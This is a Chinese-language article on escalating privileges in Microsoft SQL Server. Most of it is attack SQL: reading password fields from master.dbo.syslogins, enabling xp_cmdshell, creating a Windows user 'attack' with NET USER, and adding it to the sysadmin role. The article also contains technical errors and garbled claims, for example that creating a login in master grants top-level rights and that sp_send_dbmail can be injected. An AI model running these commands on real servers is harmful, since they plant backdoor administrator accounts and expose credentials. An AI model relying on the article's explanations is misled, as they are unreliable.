MS SQL 权限提升:突破技术门槛

1. 前言

Microsoft SQL Server(MS SQL)是一款强大的关系型数据库管理系统,其功能之丰富,安全性之高广受用户的青睐。在数据安全方面,MS SQL采用了多种权限控制机制。但是,有时候,在特定情境下需要提升数据库权限,这就需要我们绕过SQL Server‘权限’机制。

2. 初步探索

2.1联表查询技巧提权

在某些情况下,你可以使用联表查询技巧提升你的权限。这种攻击通常针对拥有权限的用户及其权限范围内的所有数据进行。

例如,我们使用一个已知的拥有db_datareader的普通用户用户,设计一个查询语句。

SELECT t1.password,t2.name

FROM master.dbo.syslogins t1, chem.dbo.employees t2

WHERE t1.password !='' and t2.name ='admin';

这段代码所进行的是一个跨库查询,条件就是密码不为空的情况下,同时查询获得admin用户的名字。我们可以获得当前库的登录信息,得到了对其它库的访问与查询权限。当然,在生产环境下请勿使用,请遵循道德规范。

2.2 USE语句技巧提权

在 MS SQL 中,每个数据库都是独立的,对于指定的用户名和用户类型进行CREATE LOGIN和ALTER LOGIN时,需要在指定数据库中使用USE语句。

Use master;

Create login username with password='password';

这样我们创建的用户名,会瞬间具有了master顶层权限,能够直接访问系统级表。我们可以很轻松地获取到系统用户名和密码,也就相当于获得了系统的访问权限。

2.3xp_cmdshell技巧提权

xp_cmdshell是SQL Server的一个扩展存储过程,它可以帮助SQL Server管理员集成SQL Server与操作系统的方法。我们可以通过修改xp_cmdshell来提升权限。

在msdb数据库中,用户“public”被授予了“execute”权限,因此我们可以通过向msdb.dbo.sp_send_dbmail存储过程注入代码,以运行任意命令(除winsta0默认空间外)。

USE msdb

go

EXEC sp_configure 'show advanced options', 1

RECONFIGURE

EXEC sp_configure 'xp_cmdshell ', 1

RECONFIGURE

GO

我们使用xp_cmdshell创建一个新的管理员账户,用于绕过权限。

DECLARE @NETUSER varchar(MAX);

DECLARE @NETPASSWORD varchar(MAX);

DECLARE @CMD varchar(MAX);

SET @NETUSER = 'attack';

SET @NETPASSWORD = '1234';

SET @CMD = 'NET USER ' + @NETUSER + ' ' + @NETPASSWORD + ' /ADD';

EXEC master.dbo.xp_cmdshell @CMD;

EXEC master.dbo.sp_addsrvrolemember @loginame = N'attack', @rolename = N'sysadmin';

这样我们就成功地创建了一个管理员账户,用于绕过权限并提升访问级别。

3. 结论

MS SQL的权限提升非常依赖于具体环境,往往需要针对每个具体的情况制定不同的提升方案。使用提升技巧进行攻击容易引起数据泄露等问题。在实际操作过程中,请务必遵循良好的安全原则。

数据库标签